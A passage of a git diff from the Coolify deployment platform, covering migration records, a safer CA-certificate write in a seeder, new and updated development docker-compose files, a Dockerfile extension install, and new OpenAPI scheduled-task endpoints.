"migration", "batch") VALUES (166, '2024_04_25_073615_add_docker_network_to_application_settings', 166); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (167, '2024_04_29_111956_add_custom_hc_indicator_apps', 167); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (168, '2024_05_06_093236_add_custom_name_to_application_settings', 168); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (169, '2024_05_07_124019_add_server_metrics', 169); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (170, '2024_05_10_085215_make_stripe_comment_longer', 170); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (171, '2024_05_15_091757_add_commit_message_to_app_deployment_queue', 171); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (172, '2024_05_15_151236_add_container_escape_toggle', 172); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (173, '2024_05_17_082012_add_env_sorting_toggle', 173); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (174, '2024_05_21_125739_add_scheduled_tasks_notification_to_teams', 174); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (175, '2024_05_22_103942_change_pre_post_deployment_commands_length_in_applications', 175); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (176, '2024_05_23_091713_add_gitea_webhook_to_applications', 176); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (177, '2024_06_05_101019_add_docker_compose_pr_domains', 177); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (178, '2024_06_06_103938_change_pr_issue_commend_id_type', 178); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (179, '2024_06_11_081614_add_www_non_www_redirect', 179); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (180, '2024_06_18_105948_move_server_metrics', 180); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (181, '2024_06_20_102551_add_server_api_sentinel', 181); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (182, '2024_06_21_143358_add_api_deployment_type', 182); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (183, '2024_06_22_081140_alter_instance_settings_add_instance_name', 183); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (184, '2024_06_25_184323_update_db', 184); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (185, '2024_07_01_115528_add_is_api_allowed_and_iplist', 185); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (186, '2024_07_05_120217_remove_unique_from_tag_names', 186); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (187, '2024_07_11_083719_application_compose_versions', 187); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (188, '2024_07_17_123828_add_is_container_labels_readonly', 188); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (189, '2024_07_18_110424_create_application_settings_is_preserve_repository_enabled', 189); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (190, '2024_07_18_123458_add_force_cleanup_server', 190); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (191, '2024_07_19_132617_disable_healtcheck_by_default', 191); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (192, '2024_07_23_112710_add_validation_logs_to_servers', 192); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (193, '2024_08_05_142659_add_update_frequency_settings', 193); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (194, '2024_08_07_155324_add_proxy_label_chooser', 194); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (195, '2024_08_09_215659_add_server_cleanup_fields_to_server_settings_table', 195); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (196, '2024_08_12_131659_add_local_file_volume_based_on_git', 196); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (197, '2024_08_12_155023_add_timezone_to_server_and_instance_settings', 197); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (198, '2024_08_14_183120_add_order_to_environment_variables_table', 198); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (199, '2024_08_15_115907_add_build_server_id_to_deployment_queue', 199); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (200, '2024_08_16_105649_add_custom_docker_options_to_dbs', 200); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (201, '2024_08_27_090528_add_compose_parsing_version_to_services', 201); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (202, '2024_09_05_085700_add_helper_version_to_instance_settings', 202); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (203, '2024_09_06_062534_change_server_cleanup_to_forced', 203); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (204, '2024_09_07_185402_change_cleanup_schedule', 204); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (205, '2024_09_08_130756_update_server_settings_default_timezone', 205); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (206, '2024_09_16_111428_encrypt_existing_private_keys', 206); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (207, '2024_09_17_111226_add_ssh_key_fingerprint_to_private_keys_table', 207); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (208, '2024_09_22_165240_add_advanced_options_to_cleanup_options_to_servers_settings_table', 208); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (209, '2024_09_26_083441_disable_api_by_default', 209); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (210, '2024_10_03_095427_add_dump_all_to_standalone_postgresqls', 210); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (211, '2024_10_10_081444_remove_constraint_from_service_applications_fqdn', 211); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (212, '2024_10_11_114331_add_required_env_variables', 212); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (213, '2024_10_14_090416_update_metrics_token_in_server_settings', 213); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (214, '2024_10_15_172139_add_is_shared_to_environment_variables', 214); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (215, '2024_10_16_120026_move_redis_password_to_envs', 215); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (216, '2024_10_16_192133_add_confirmation_settings_to_instance_settings_table', 216); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (217, '2024_10_17_093722_add_soft_delete_to_servers', 217); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (218, '2024_10_22_105745_add_server_disk_usage_threshold', 218); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (219, '2024_10_22_121223_add_server_disk_usage_notification', 219); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (220, '2024_10_29_093927_add_is_sentinel_debug_enabled_to_server_settings', 220); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (221, '2024_10_30_074601_rename_token_permissions', 221); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (222, '2024_11_02_213214_add_last_online_at_to_resources', 222); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (223, '2024_11_11_125335_add_custom_nginx_configuration_to_static', 223); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (224, '2024_11_11_125366_add_index_to_activity_log', 224); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (225, '2024_11_22_124742_add_uuid_to_environments_table', 225); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (226, '2024_12_05_091823_add_disable_build_cache_advanced_option', 226); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (227, '2024_12_05_212355_create_email_notification_settings_table', 227); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (228, '2024_12_05_212416_create_discord_notification_settings_table', 228); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (229, '2024_12_05_212440_create_telegram_notification_settings_table', 229); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (230, '2024_12_05_212546_migrate_email_notification_settings_from_teams_table', 230); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (231, '2024_12_05_212631_migrate_discord_notification_settings_from_teams_table', 231); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (232, '2024_12_05_212705_migrate_telegram_notification_settings_from_teams_table', 232); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (233, '2024_12_06_142014_create_slack_notification_settings_table', 233); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (234, '2024_12_09_105711_drop_waitlists_table', 234); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (235, '2024_12_10_122142_encrypt_instance_settings_email_columns', 235); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (236, '2024_12_10_122143_drop_resale_license', 236); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (237, '2024_12_11_135026_create_pushover_notification_settings_table', 237); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (238, '2024_12_11_161418_add_authentik_base_url_to_oauth_settings_table', 238); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (239, '2024_12_13_103007_encrypt_resend_api_key_in_instance_settings', 239); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (240, '2024_12_16_134437_add_resourceable_columns_to_environment_variables_table', 240); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (241, '2024_12_17_140637_add_server_disk_usage_check_frequency_to_server_settings_table', 241); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (242, '2024_12_23_142402_update_email_encryption_values', 242); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (243, '2025_01_05_050736_add_network_aliases_to_applications_table', 243); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (244, '2025_01_08_154008_switch_up_readonly_labels', 244); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (245, '2025_01_10_135244_add_horizon_job_details_to_queue', 245); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (246, '2025_01_13_130238_add_backup_retention_fields_to_scheduled_database_backups_table', 246); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (247, '2025_01_15_130416_create_docker_cleanup_executions_table', 247); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (248, '2025_01_16_110406_change_commit_message_to_text_in_application_deployment_queues', 248); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (249, '2025_01_16_130238_add_finished_at_to_executions_tables', 249); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (250, '2025_01_21_125205_update_finished_at_timestamps_if_not_set', 250); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (251, '2025_01_22_101105_remove_wrongly_created_envs', 251); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (252, '2025_01_27_102616_add_ssl_fields_to_database_tables', 252); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (253, '2025_01_27_153741_create_ssl_certificates_table', 253); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (254, '2025_01_30_125223_encrypt_local_file_volumes_fields', 254); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (255, '2025_02_27_125249_add_index_to_scheduled_task_executions', 255); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (256, '2025_03_01_112617_add_stripe_past_due', 256); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (257, '2025_03_14_140150_add_storage_deletion_tracking_to_backup_executions', 257); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (258, '2025_03_21_104103_disable_discord_here', 258); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (259, '2025_03_26_104103_disable_mongodb_ssl_by_default', 259); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (260, '2025_03_29_204400_revert_some_local_volume_encryption', 260); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (261, '2025_03_31_124212_add_specific_spa_configuration', 261); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (262, '2025_04_01_124212_stripe_comment_nullable', 262); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (263, '2025_04_17_110026_add_application_http_basic_auth_fields', 263); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (264, '2025_04_30_134146_add_is_migrated_to_services', 264); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (265, '2025_05_26_100258_add_server_patch_notifications', 265); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (266, '2025_05_29_100258_add_terminal_enabled_to_server_settings', 266); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (267, '2025_06_06_073345_create_server_previous_ip', 267); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (268, '2025_06_16_123532_change_sentinel_on_by_default', 268); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (269, '2025_06_25_131350_add_is_sponsorship_popup_enabled_to_instance_settings_table', 269); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (270, '2025_06_26_131350_optimize_activity_log_indexes', 270); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (271, '2025_07_14_191016_add_deleted_at_to_application_previews_table', 271); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (272, '2025_07_16_202201_add_timeout_to_scheduled_database_backups_table', 272); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (273, '2025_08_07_142403_create_user_changelog_reads_table', 273); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (274, '2025_08_17_102422_add_disable_local_backup_to_scheduled_database_backups_table', 274); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (275, '2025_08_18_104146_add_email_change_fields_to_users_table', 275); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (276, '2025_08_18_154244_change_env_sorting_default_to_false', 276); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (277, '2025_08_21_080234_add_git_shallow_clone_to_application_settings_table', 277); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (278, '2025_09_05_142446_add_pr_deployments_public_enabled_to_application_settings', 278); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (279, '2025_09_10_172952_remove_is_readonly_from_local_persistent_volumes_table', 279); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (280, '2025_09_10_173300_drop_webhooks_table', 280); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (281, '2025_09_10_173402_drop_kubernetes_table', 281); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (282, '2025_09_11_143432_remove_is_build_time_from_environment_variables_table', 282); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (283, '2025_09_11_150344_add_is_buildtime_only_to_environment_variables_table', 283); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (284, '2025_09_17_081112_add_use_build_secrets_to_application_settings', 284); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (285, '2025_09_18_080152_add_runtime_and_buildtime_to_environment_variables_table', 285); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (286, '2025_10_03_154100_update_clickhouse_image', 286); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (287, '2025_10_07_120723_add_s3_uploaded_to_scheduled_database_backup_executions_table', 287); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (288, '2025_10_08_181125_create_cloud_provider_tokens_table', 288); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (289, '2025_10_08_185203_add_hetzner_server_id_to_servers_table', 289); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (290, '2025_10_09_095905_add_cloud_provider_token_id_to_servers_table', 290); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (291, '2025_10_09_113602_add_hetzner_server_status_to_servers_table', 291); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (292, '2025_10_09_125036_add_is_validating_to_servers_table', 292); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (293, '2025_11_02_161923_add_dev_helper_version_to_instance_settings', 293); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (294, '2025_11_09_000001_add_timeout_to_scheduled_tasks_table', 294); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (295, '2025_11_09_000002_improve_scheduled_task_executions_tracking', 295); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (296, '2025_11_10_112500_add_restart_tracking_to_applications_table', 296); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (297, '2025_11_12_130931_add_traefik_version_tracking_to_servers_table', 297); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (298, '2025_11_12_131252_add_traefik_outdated_to_email_notification_settings', 298); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (299, '2025_11_12_133400_add_traefik_outdated_thread_id_to_telegram_notification_settings', 299); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (300, '2025_11_14_114632_add_traefik_outdated_info_to_servers_table', 300); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (301, '2025_11_16_000001_create_webhook_notification_settings_table', 301); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (302, '2025_11_16_000002_create_cloud_init_scripts_table', 302); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (303, '2025_11_17_092707_add_traefik_outdated_to_notification_settings', 303); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (304, '2025_11_18_083747_cleanup_dockerfile_data_for_non_dockerfile_buildpacks', 304); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (305, '2025_11_26_124200_add_build_cache_settings_to_application_settings', 305); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (306, '2025_11_28_000001_migrate_clickhouse_to_official_image', 306); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (307, '2025_12_04_134435_add_deployment_queue_limit_to_server_settings', 307); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (308, '2025_12_05_000000_add_docker_images_to_keep_to_application_settings', 308); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (309, '2025_12_05_100000_add_disable_application_image_retention_to_server_settings', 309); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (310, '2025_12_08_135600_add_performance_indexes', 310); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (311, '2025_12_10_135600_add_uuid_to_cloud_provider_tokens', 311); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (312, '2025_12_15_143052_trim_s3_storage_credentials', 312); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (313, '2025_12_17_000001_add_is_wire_navigate_enabled_to_instance_settings_table', 313); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (314, '2025_12_17_000002_add_restart_tracking_to_standalone_databases', 314); diff --git a/database/seeders/ApplicationSeeder.php b/database/seeders/ApplicationSeeder.php index f5a00fe15..18ffbe166 100644 --- a/database/seeders/ApplicationSeeder.php +++ b/database/seeders/ApplicationSeeder.php @@ -21,7 +21,7 @@ public function run(): void 'git_repository' => 'coollabsio/coolify-examples', 'git_branch' => 'v4.x', 'base_directory' => '/docker-compose', - 'docker_compose_location' => 'docker-compose-test.yaml', + 'docker_compose_location' => '/docker-compose-test.yaml', 'build_pack' => 'dockercompose', 'ports_exposes' => '80', 'environment_id' => 1, diff --git a/database/seeders/CaSslCertSeeder.php b/database/seeders/CaSslCertSeeder.php index 1b71a5e43..5d092d2e8 100644 --- a/database/seeders/CaSslCertSeeder.php +++ b/database/seeders/CaSslCertSeeder.php @@ -26,12 +26,14 @@ public function run() } $caCertPath = config('constants.coolify.base_config_path').'/ssl/'; + $base64Cert = base64_encode($caCert->ssl_certificate); + $commands = collect([ "mkdir -p $caCertPath", "chown -R 9999:root $caCertPath", "chmod -R 700 $caCertPath", "rm -rf $caCertPath/coolify-ca.crt", - "echo '{$caCert->ssl_certificate}' > $caCertPath/coolify-ca.crt", + "echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null", "chmod 644 $caCertPath/coolify-ca.crt", ]); diff --git a/docker-compose-maxio.dev.yml b/docker-compose-maxio.dev.yml new file mode 100644 index 000000000..2c8c94466 --- /dev/null +++ b/docker-compose-maxio.dev.yml @@ -0,0 +1,210 @@ +services: + coolify: + image: coolify:dev + pull_policy: never + build: + context: . + dockerfile: ./docker/development/Dockerfile + args: + - USER_ID=${USERID:-1000} + - GROUP_ID=${GROUPID:-1000} + ports: + - "${APP_PORT:-8000}:8080" + environment: + AUTORUN_ENABLED: false + PUSHER_HOST: "${PUSHER_HOST}" + PUSHER_PORT: "${PUSHER_PORT}" + PUSHER_SCHEME: "${PUSHER_SCHEME:-http}" + PUSHER_APP_ID: "${PUSHER_APP_ID:-coolify}" + PUSHER_APP_KEY: "${PUSHER_APP_KEY:-coolify}" + PUSHER_APP_SECRET: "${PUSHER_APP_SECRET:-coolify}" + healthcheck: + test: curl -sf http://127.0.0.1:8080/api/health || exit 1 + interval: 5s + retries: 10 + timeout: 2s + volumes: + - .:/var/www/html/:cached + - dev_backups_data:/var/www/html/storage/app/backups + networks: + - coolify + postgres: + pull_policy: always + ports: + - "${FORWARD_DB_PORT:-5432}:5432" + env_file: + - .env + environment: + POSTGRES_USER: "${DB_USERNAME:-coolify}" + POSTGRES_PASSWORD: "${DB_PASSWORD:-password}" + POSTGRES_DB: "${DB_DATABASE:-coolify}" + POSTGRES_HOST_AUTH_METHOD: "trust" + healthcheck: + test: [ "CMD-SHELL", "pg_isready -U $$POSTGRES_USER -d $$POSTGRES_DB" ] + interval: 5s + retries: 10 + timeout: 2s + volumes: + - dev_postgres_data:/var/lib/postgresql/data + redis: + pull_policy: always + ports: + - "${FORWARD_REDIS_PORT:-6379}:6379" + env_file: + - .env + healthcheck: + test: redis-cli ping + interval: 5s + retries: 10 + timeout: 2s + volumes: + - dev_redis_data:/data + soketi: + image: coolify-realtime:dev + pull_policy: never + build: + context: . + dockerfile: ./docker/coolify-realtime/Dockerfile + env_file: + - .env + ports: + - "${FORWARD_SOKETI_PORT:-6001}:6001" + - "6002:6002" + volumes: + - ./storage:/var/www/html/storage + - ./docker/coolify-realtime/terminal-server.js:/terminal/terminal-server.js + environment: + SOKETI_DEBUG: "false" + SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}" + SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY:-coolify}" + SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET:-coolify}" + SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}" + healthcheck: + test: [ "CMD-SHELL", "curl -fsS http://127.0.0.1:6001/ready && curl -fsS http://127.0.0.1:6002/ready || exit 1" ] + interval: 5s + retries: 10 + timeout: 2s + entrypoint: ["/bin/sh", "/soketi-entrypoint.sh"] + vite: + image: node:24-alpine + pull_policy: always + container_name: coolify-vite + working_dir: /var/www/html + environment: + VITE_HOST: "${VITE_HOST:-localhost}" + VITE_PORT: "${VITE_PORT:-5173}" + ports: + - "${VITE_PORT:-5173}:${VITE_PORT:-5173}" + volumes: + - .:/var/www/html/:cached + command: sh -c "npm install && npm run dev" + networks: + - coolify + testing-host: + image: coolify-testing-host:dev + pull_policy: never + build: + context: . + dockerfile: ./docker/testing-host/Dockerfile + init: true + container_name: coolify-testing-host + volumes: + - /var/run/docker.sock:/var/run/docker.sock + - dev_coolify_data:/data/coolify + - dev_backups_data:/data/coolify/backups + - dev_postgres_data:/data/coolify/_volumes/database + - dev_redis_data:/data/coolify/_volumes/redis + - dev_minio_data:/data/coolify/_volumes/minio + networks: + - coolify + mailpit: + image: axllent/mailpit:latest + pull_policy: always + container_name: coolify-mail + ports: + - "${FORWARD_MAILPIT_PORT:-1025}:1025" + - "${FORWARD_MAILPIT_DASHBOARD_PORT:-8025}:8025" + networks: + - coolify + # maxio: + # image: ghcr.io/coollabsio/maxio + # pull_policy: always + # container_name: coolify-maxio + # ports: + # - "${FORWARD_MAXIO_PORT:-9000}:9000" + # environment: + # MAXIO_ACCESS_KEY: "${MAXIO_ACCESS_KEY:-maxioadmin}" + # MAXIO_SECRET_KEY: "${MAXIO_SECRET_KEY:-maxioadmin}" + # volumes: + # - dev_maxio_data:/data + # networks: + # - coolify + minio: + image: ghcr.io/coollabsio/minio:RELEASE.2025-10-15T17-29-55Z # Released on 15 October 2025 + pull_policy: always + container_name: coolify-minio + command: server /data --console-address ":9001" + ports: + - "${FORWARD_MINIO_PORT:-9000}:9000" + - "${FORWARD_MINIO_PORT_CONSOLE:-9001}:9001" + environment: + MINIO_ACCESS_KEY: "${MINIO_ACCESS_KEY:-minioadmin}" + MINIO_SECRET_KEY: "${MINIO_SECRET_KEY:-minioadmin}" + volumes: + - dev_minio_data:/data + - dev_maxio_data:/data + networks: + - coolify + # maxio-init: + # image: minio/mc:latest + # pull_policy: always + # container_name: coolify-maxio-init + # restart: no + # depends_on: + # - maxio + # entrypoint: > + # /bin/sh -c " + # echo 'Waiting for MaxIO to be ready...'; + # until mc alias set local http://coolify-maxio:9000 maxioadmin maxioadmin 2>/dev/null; do + # echo 'MaxIO not ready yet, waiting...'; + # sleep 2; + # done; + # echo 'MaxIO is ready, creating bucket if needed...'; + # mc mb local/local --ignore-existing; + # echo 'MaxIO initialization complete - bucket local is ready'; + # " + # networks: + # - coolify + minio-init: + image: minio/mc:latest + pull_policy: always + container_name: coolify-minio-init + restart: no + depends_on: + - minio + entrypoint: > + /bin/sh -c " + echo 'Waiting for MinIO to be ready...'; + until mc alias set local http://coolify-minio:9000 minioadmin minioadmin 2>/dev/null; do + echo 'MinIO not ready yet, waiting...'; + sleep 2; + done; + echo 'MinIO is ready, creating bucket if needed...'; + mc mb local/local --ignore-existing; + echo 'MinIO initialization complete - bucket local is ready'; + " + networks: + - coolify + +volumes: + dev_backups_data: + dev_postgres_data: + dev_redis_data: + dev_coolify_data: + dev_minio_data: + dev_maxio_data: + +networks: + coolify: + name: coolify + external: false diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml index 9e4c6b8b1..808b50ff8 100644 --- a/docker-compose.dev.yml +++ b/docker-compose.dev.yml @@ -26,6 +26,8 @@ services: volumes: - .:/var/www/html/:cached - dev_backups_data:/var/www/html/storage/app/backups + networks: + - coolify postgres: pull_policy: always ports: @@ -76,6 +78,7 @@ services: SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}" SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY:-coolify}" SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET:-coolify}" + SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}" healthcheck: test: [ "CMD-SHELL", "curl -fsS http://127.0.0.1:6001/ready && curl -fsS http://127.0.0.1:6002/ready || exit 1" ] interval: 5s diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 46e0e88e5..d42047245 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -72,6 +72,7 @@ services: SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}" SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}" SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}" + SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}" healthcheck: test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ] interval: 5s diff --git a/docker-compose.windows.yml b/docker-compose.windows.yml index 3116a4185..ca233356a 100644 --- a/docker-compose.windows.yml +++ b/docker-compose.windows.yml @@ -113,6 +113,7 @@ services: SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}" SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}" SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}" + SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}" healthcheck: test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ] interval: 5s diff --git a/docker/development/Dockerfile b/docker/development/Dockerfile index ab9cb2fca..98b4d2006 100644 --- a/docker/development/Dockerfile +++ b/docker/development/Dockerfile @@ -47,6 +47,9 @@ RUN apk add --no-cache \ lsof \ vim +# Install PHP extensions +RUN install-php-extensions sockets + # Configure shell aliases RUN echo "alias ll='ls -al'" >> /etc/profile && \ echo "alias a='php artisan'" >> /etc/profile && \ diff --git a/openapi.json b/openapi.json index bd502865a..69f5ef53d 100644 --- a/openapi.json +++ b/openapi.json @@ -3063,13 +3063,7 @@ "content": { "application\/json": { "schema": { - "properties": { - "message": { - "type": "string", - "example": "Environment variable updated." - } - }, - "type": "object" + "$ref": "#\/components\/schemas\/EnvironmentVariable" } } } @@ -8055,6 +8049,698 @@ ] } }, + "\/applications\/{uuid}\/scheduled-tasks": { + "get": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "List Tasks", + "description": "List all scheduled tasks for an application.", + "operationId": "list-scheduled-tasks-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Get all scheduled tasks for an application.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "post": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Create Task", + "description": "Create a new scheduled task for an application.", + "operationId": "create-scheduled-task-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Scheduled task data", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "name", + "command", + "frequency" + ], + "properties": { + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds.", + "default": 300 + }, + "enabled": { 